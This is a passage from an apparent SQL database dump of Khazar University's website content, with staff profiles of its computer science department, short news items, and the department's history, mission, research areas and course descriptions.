Garayeva</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/cv/maryam_garayeva_cv.pdf\"></a></strong>MS in&nbsp;Management Information Systems (Baku Engineering University, Azerbaijan)</p><p><br></p><p><br></p><p>&nbsp;</p><p><br></p><hr>\r\n<p><strong></strong><a href=\"http://www.khazar.org/files/letters/Lamiya_Namazova_CV.pdf\"><strong><img src=\"/files/letters/lamiya-n.jpg\" style=\"width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Lamiya Namazova</strong></a></p><p>MBA, Finance&nbsp;(Khazar University, Azerbaijan)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:lnamazova[at]khazar.org\">lnamazova[at]khazar.org</a>  </p><p><br>  </p><p><br></p><p><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/quality_center/CV%20Lyudmila%20Sotova.pdf\" target=\"_blank\"><strong><img src=\"http://www.khazar.org/files/quality_center/Picture_LS.jpg\" style=\"width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Lyudmila Sotova</strong></a></p><p>PhD candidate in System Analysis, Management and Information Processing (Khazar University, Azerbaijan)<br></p><p>MS in&nbsp;Library and Information Science (Kiev National University of Culture and Arts,&nbsp;Ukraine)  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:lsotova@khazar.org\">lsotova[at]khazar.org</a>&nbsp;</p>  <p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/pdf/CVRahman_Rasulzade.pdf\"><img src=\"/files/engineering/images/rahman_rasulzada.jpg\" style=\"float:left;width:150px;height:159px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Rahman Rasulzada</a></strong></p><p>MS in Control System Engineering (Texas A&amp;M University, College Station, USA)</p>  <p><strong>E-mail:&nbsp;</strong><a href=\"mailto:rahman.rasulzada@khazar.org\">rahman.rasulzada[at]khazar.org</a>  </p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/engineering/images/ismayil_i.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:161px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Ismayil_Ismayilov.pdf\">Ismayil</a>&nbsp;</strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Ismayil_Ismayilov.pdf\">Ismayilov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Ismayil_Ismayilov.pdf\"></a></strong>PhD&nbsp;in Systems Analysis, Control and Information Processing&nbsp;<strong></strong>(Institute of Cybernetics, Azerbaijan National Academy of Sciences)</p><p>MS&nbsp;in Engineering (Azerbaijan State Oil Academy)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ismayil.ismayilov@khazar.org\">ismayil.ismayilov[at]khazar.org</a>&nbsp;</p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/engineering/images/parvana_h.jpg\" style=\"float:left;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/engineering/Parvana_Hasanova_CV.pdf\">Parvana Hasanova</a></strong></p><p>PhD in Mathematics (Baku State University, Azerbaijan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:hasanova_parvana@mail.ru\">hasanova_parvana[at]mail.ru</a>  </p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/Javidan.Feyziyev_CV.pdf\"><img src=\"/files/engineering/images/javidan_f.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:135px\">Javidan Feyziyev</a></strong></p><p>MS in&nbsp;Automation and Information (Azerbaijan State Oil Academy)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:javidan.feyziyev@khazar.org\">javidan.feyziyev[at]khazar.org</a>  </p><p><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Ulviyya%20Ahmadova_CV.pdf\"><strong><img src=\"/files/engineering/images/ulviyya_a.JPG\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Ulviyya Ahmadova</strong></a><br></p><p>MS in&nbsp;Business Administration,&nbsp;Production &amp; Operations Management (Azerbaijan State Oil Academy &amp; Georgia State University)</p><p><strong>E-mail:</strong>  <a href=\"mailto:ulviyya.ahmadova@yahoo.com\">ulviyya.ahmadova[at]yahoo.com</a><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/engineering/images/Zeynab_Muradkhanli.jpg\" style=\"border:0px;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><strong><a href=\"http://www.khazar.org/files/engineering/CV_Zeynab_Muradkhanli.pdf\">Zeynab Muradkhanli</a></strong></strong></p><p>PhD candidate in System Analysis, Control and Information Processing (Khazar University, Azerbaijan)  </p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Zeynab_Muradkhanli.pdf\"></a></strong></strong>MS in Control Systems   (Azerbaijan State Oil Academy)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:zeynab.muradkhanli[at]khazar.org\">zeynab.muradkhanli[at]khazar.org</a>&nbsp;</p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/Sahla_Ahmadova_CV.pdf\">Shahla Ahmadova</a></strong><strong><img src=\"/files/engineering/images/shahla_ahmadova.jpg\" style=\"float:left;width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p>MS in Computer Engineering (Azerbaijan State Oil and Industry University)</p><p><strong style=\"font-weight:bold\">E-mail:</strong>  <a href=\"mailto:ahmadova06@gmail.com\">ahmadova06[at]gmail.com</a><br></p><p><br></p><p><br></p><p><br></p>'),(2304,1403,'en','Khazar University Professor Makes Presentation at Ministry of Taxes Roundtable','On October 7, 2016, the Ministry of Taxes Training Center in Shamakhi held a roundtable discussion entitled...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 7, 2016, the Ministry of\r\nTaxes Training Center in Shamakhi held a roundtable discussion entitled “Issues\r\nand Prospects in Personnel Preparation in the Field of Taxes” to discuss\r\nmeasures needed to be taken in order to increase the effectiveness of timely\r\ntax payments and prepare qualified personnel in the tax field. Professor Fuat\r\nResulov of Khazar University also participated in the event. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Fuat Resulov gave a lecture on\r\n“Relationships of Theory and Practice in the Process of Personnel Preparation\r\nin the Accounting/Taxation Field” which was highly appreciated both by the\r\nevent organizers and by the audience.&nbsp;</p>'),(2305,1404,'en','New Instructors in School of Engineering and Applied Sciences','Two associate professors from Shahid Madani University, Nacer Farajzadeh and Amir Hassani Karbasi, will work with Khazar University...','<p>Two associate professors from Shahid Madani\r\nUniversity, Nacer Farajzadeh and Amir Hassani Karbasi, will work with Khazar\r\nUniversity this semester as part of an MOU between Khazar University and Shahid\r\nMadani University of Azerbaijan. Nacer Farajzadeh will teach Advanced Object Oriented\r\nProgramming and Operating System courses to Computer Science and Computer\r\nEngineering majors, while Amir Hassani Karbasi will teach Advanced Topics in Computer\r\nScience and Data Structure. </p>\r\n<p>Amir Hassani Karbasi holds a PhD from Gilan University,&nbsp;Iran, and Nacer Farajzadeh holds a PhD from Zhejiang&nbsp;University,&nbsp;China.&nbsp;</p>'),(2306,1406,'az','Bakı 2017 IV İslam Həmrəyliyi Oyunlarının Açılış və ya Bağlanış Mərasimlərinin İştirakçıları tələb olunur','Siz Bakı 2017 IV İslam Həmrəyliyi Oyunlarının Açılış və ya Bağlanış Mərasimlərinin Mərasim İştirakçısı ola bilərsiniz...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Siz Bakı 2017 IV İslam Həmrəyliyi Oyunlarının Açılış və ya\r\nBağlanış Mərasimlərinin Mərasim İştirakçısı ola bilərsiniz.&nbsp;</p>\r\n<p>Açılış Mərasimi Cümə günü, 12 May\r\n2017-ci ildə və Bağlanış Mərasimi Bazar ertəsi, 22 May 2017-ci ildə keçiriləcək.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Daha ətraflı məlumatla bu linkdə\r\ntanış ola bilərsinniz: <a href=\"http://www.baku2017.com\">www.baku2017.com</a>&nbsp;&nbsp;</p>'),(414,256,'en','History','','<p>The Department of Computer Science&nbsp;and Computer Engineering, founded in 1994, offers\r\nflexible and innovative undergraduate and graduate programs in Computer Science\r\nand Computer Engineering.</p>\r\n<p>Since 2009, the Department of Computer Science&nbsp;and Computer Engineering   started to\r\noffer undergraduate programs in Mathematics and Computer Education. The\r\nbachelor degree program in Mathematics and Computer Education is an\r\ninterdepartmental program offered by the Department of Computer Science with\r\nthe Department of Mathematics.&nbsp;</p>'),(415,257,'en','Mission','','<p>The goal of the Department is to produce and disseminate\r\ntheory, principles, practice and know-how of computing in the information age\r\nfor the critical analysis, design, evaluation and improvement of computing\r\nsystems and related areas of engineering.</p>\r\n<p>The Department has two divisions:</p>\r\n<ul><li>Computer Science</li><li>Computer Engineering</li></ul><p>Each division is responsible for the development of programs\r\nwithin its area.</p>\r\n<p>Computer Science courses and research focus on software\r\nranging from theoretical models to practical applications.</p>\r\n<p>Computer Engineering deals with digital design, computer\r\nhardware and architecture, software and programming, and the interrelationships\r\nbetween hardware and software.</p>\r\n<p>All of the department programs are designed to meet the\r\nrequirements of students and professionals by building a strong platform for\r\ntheir future career development.</p>\r\n<p>These programs are aimed at alleviating the demand for\r\ncomputer engineers in industry, business and higher education. They focus on\r\nall areas of Computer Science such as programming languages, computer\r\narchitecture, algorithms, operating systems, computer networks, artificial\r\nintelligence and other core and supporting areas. Students combine these\r\ncomputer science studies with corresponding aspects of electrical engineering\r\nsuch as circuits theory, signals and systems, electronics, integrated circuits\r\nand device utilization.</p>\r\n<p>\r\nThe department also offers a number of courses\r\nfor students of other schools as part of its service to the university. These\r\ncourses are designed to provide a sound understanding for undergraduate\r\nstudents to effectively utilize computers in various areas&nbsp;of application\r\nas well as to carry out appropriate scientific research work in their\r\ncorresponding spheres of interest.</p>'),(416,258,'en','Research','','<p>The faculty’s ability to apply computer technology in\r\nteaching and learning processes and to draw special attention to the research\r\nproblems are advantages of the Department.</p>\r\n<p>Research activities are conducted in the following areas:</p>\r\n<ul><li>Artificial Intelligence</li><li>Data Communications and Networking</li><li>Databases</li><li>Pattern Recognition</li><li>Multimedia Systems</li><li>Computer Graphics</li><li>Information Systems</li></ul><p>The department has a computer center and laboratories\r\nserving the instructional and research needs of students and faculty. They are\r\nequipped with modern computer and electrical engineering facilities.</p>\r\n<p>The teaching and research interests of the department\r\nencourage contact and cooperation with other educational and scientific\r\ninstitutions within the country and abroad. The strategy of the department is\r\nfurther development and transformation into a dynamic and powerful structure\r\nwith great educational and research potential to achieve high standards.&nbsp;</p>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (417,259,'en','Courses','','<p><strong><em>CMS 101 : Introduction to Computer Science (6 <strong><em>ECTS</em></strong>  credits)</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: NONE</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Students are\r\nintroduced to the evolution of computers, the components of a computer system,\r\ncomputer hardware and software, data communications, fundamentals and functions\r\nof the Internet.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em><br></em></strong></p><p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 105: Fundamentals of Computer Programming (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 101&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Introduction to\r\nprinciples of programming and procedural thinking. Procedural abstraction, data\r\nabstraction, modularity, object-oriented programming. Uses the Scheme\r\nprogramming language and computer facilities. Substantial programming\r\nassignments, including numerical and symbolic programs.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><em><strong><br></strong></em></p><p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><em><strong>CMS 112: Information Technology Essentials (CISCO\r\ncourse) (6 <strong><em>ECTS</em></strong>  credits)</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 101</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Students learn the\r\nfunctionality of hardware and software components as well as suggested best\r\npractices in maintenance and safety issues. The students, through hands-on\r\nactivities and labs, will learn to assemble and configure a computer, install\r\noperating systems and software, and troubleshoot hardware and software\r\nproblems. In addition, an introduction to networking is included in this course</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em><br></em></strong></p><p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 115: Systems Programming (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 101&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Introductory course on\r\nassembly language and operating systems fundamentals. Number systems, machine\r\nlanguage, and assembly language. Procedure calls, stacks, interrupts, and\r\ntraps. Assemblers, linkers, and loaders. Operating systems concepts: processes\r\nand process management, input/output (I/O) programming, memory management, file\r\nsystems.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 202: Computer Applications in Engineering (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 101</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">A practical course on\r\ncomputer applications as a problem-solving tool in engineering. Topics include\r\nword processing, electronic spreadsheets, database management, graphics and\r\ntelecommunication.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 204: C Programming Language (8 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 101&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Input output, variable\r\ntypes, operators, statements, arrays, functions, pointers, structures, macros,\r\nand advanced functions. Algorithmic, procedural program solving.<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 208: Mathematical Foundation of Computer Science (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 105&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Basic concepts of\r\nfinite and structural mathematics. Sets, axiomatic systems, the propositional\r\nand predicate calculi, and graph theory. Application to computer science:\r\nsequential machines, formal grammars, and software design.<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 213: Data Analysis and Measurement (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: EENG 302</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Students are\r\nintroduced to the practical aspects of random data analysis and measurement\r\nprocedures. Statistical properties of random data, correlation, spectral\r\ndensity, input/output relationships, statistical errors, coherence functions,\r\ndata acquisition, and processing techniques.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 215: Data Structures (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 204</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Primitive data\r\nstructures . Arrays. Stacks. Queues. Sequential storage allocation. Concept of\r\nlinking. Trees, graphs. Application of data structures.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 218: Data Structures and Algorithms (8 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 215</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Graphs. Advance\r\nsorting. Hashing. Heap structures. Search structures. Complexity. Parallel\r\nalgorithms. File organization.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 221: Computer Based Information Processing (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 101&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">The evolution of\r\ncomputers. The components of a computer system: the central processing unit,\r\ninput, output and auxiliary storage devices. File organization. Data\r\ncommunications. Operating Systems. System analysis and design. Data base\r\nmanagement systems. Data representation and processing, application software\r\nincluding word processing, electronic spreadsheets.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\"><em><strong><br></strong></em></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\"><em><strong>CMS 230: Internet Programming (6 <strong><em>ECTS</em></strong>  credits)</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 105&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Overview of the\r\nInternet and World Wide Web tools and resources, Internet utilities,\r\nmultimedia, and security issues. Students will gain considerable hand-on\r\nexperience in Internet Hypertext Markup Language (HTML). Applets and in a\r\nscripting language such as Java Script.<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 280: CISCO Certificate Network Administrator 1 (CCNA 1) (6\r\n<strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 202</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course provides\r\nan in-depth knowledge of data communications and networking requirements,\r\nincluding networking and telecommunications technologies, hardware, and\r\nsoftware. Emphasis is on the analysis and design of networking applications in\r\norganizations. Management of telecommunications networks, cost-benefit\r\nanalysis, and evaluation of connectivity options. Students learn to evaluate,\r\nselect, and implement different communications options.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 290: CISCO Certificate Network Administrator 2 (CCNA 2) (6\r\n<strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 280</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course provides\r\nstudents with classroom and laboratory experience in current and emerging\r\nnetworking technology that will empower them to enter employment or further education\r\nand training in the computer networking field. A task analysis of current\r\nindustry standards and occupational analysis was used to develop the content.\r\nCCNA 2 focuses on initial router configuration, Cisco IOS software management,\r\nrouting protocol configuration, TCP/IP, and access control lists (ACLs).\r\nStudents will develop skills on how to configure a router, manage Cisco IOS\r\nsoftware, configure routing protocols, and create access lists controlling\r\naccess to the router.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 301: Operating Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 101, CMS 202&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">An introduction to the\r\nmajor concept areas and techniques of designing and implementing operating\r\nsystems. Multitasking operating systems with special emphasis on UNIX.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 303: Digital Logic (8 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: EENG 302</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Introduction to\r\ndigital systems. Sequential and non-sequential logic as applied to computer\r\nhardware including circuits and basic computer organization.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 307: Logic Design of Digital Systems (8&nbsp;<strong><em>ECTS</em></strong>   credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: EENG 302&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Specification and\r\nimplementation of combinational and sequential systems. Standard logic modules\r\nand programmable logic arrays. Specification and implementation of algorithmic\r\nsystems: data and control sections. Number systems and arithmetic algorithms. Error\r\ncontrol codes for digital information.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 308: Computer Architecture and Organization (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 307&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Computer instructions;\r\ntiming and control; execution of instructions; I/O and interrupt; Central\r\nprocessor organization; bus concept; data transfer and manipulation; central\r\nmemory; address sequencing; micro program sequence; arithmetic processor\r\ndesign; I/O organization; peripheral devices; I/O interface; direct memory\r\naccess; multiprocessor system organization; data communication processors;\r\nauxiliary memory; virtual memory; cache memory and memory management.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS&nbsp;309: Computer Networks and Communications (6&nbsp;<strong><em>ECTS</em></strong>&nbsp;credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 202, CMS 218</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course introduces\r\nthe underlying concepts and principles of computer networks. It presents the\r\ndifferent components of a network and how these components fit together. The\r\ncourse emphasizes the design and implementation of network software that\r\ntransforms raw hardware into a richly functional communication system. Real\r\nnetworks (such as the Internet, ATM, Ethernet, Token Ring) are used as examples\r\nto reinforce the concepts and demonstrate various protocols.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 314: Information Management (8 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 218</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Theoretical models for\r\ninformation representation, storage, and processing. Analysis, design,\r\nimplementation, and management of organizational information resources, such as\r\noperational databases, data warehouses, and knowledge management systems.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 316: Database Management Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 218</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Emphasizes concepts\r\nand structures necessary to design and implement a Database</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Management System.\r\nFile organization, relational model and relational database systems. SQL,\r\nOracle and other data management approaches. Database design principles. Selected\r\ntopics such as distributed databases, object-oriented databases, real-time\r\ndatabases, and multimedia databases will be discussed.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 321: Operations Research (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 101, CMS 105&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Linear Programming,\r\nthe transportation problem. Nonlinear programming. Integer programming.<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 336: Design and Analysis of Algorithms (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 218&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Analysis techniques,\r\nsolving recurrence equations. Algorithm design techniques: divide and conquer,\r\nthe greedily method, backtracking, branch- and-bound, and dynamic programming.\r\nSorting and selection algorithms, order statistics, heaps, and priority queues.<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 345: Microprocessors and Microcomputers (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 307&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Introduction to\r\nmicroprocessors and microcomputer architecture. Arithmetic logic unit\r\nstructure. Assembly language programming. Timers and interrupts. Parallel and\r\nserial input/output programming.<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 350: Computer Graphics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 204&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Graphical hardware,\r\npoint and line plotting displays, display processors, display file compilers,\r\ntwo and three-dimensional representations and transformations, interactive\r\ntechniques.<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 415: Artificial Intelligence (6&nbsp;<strong><em>ECTS</em></strong>   credits)</em></strong><em></em></p>\r\n<p 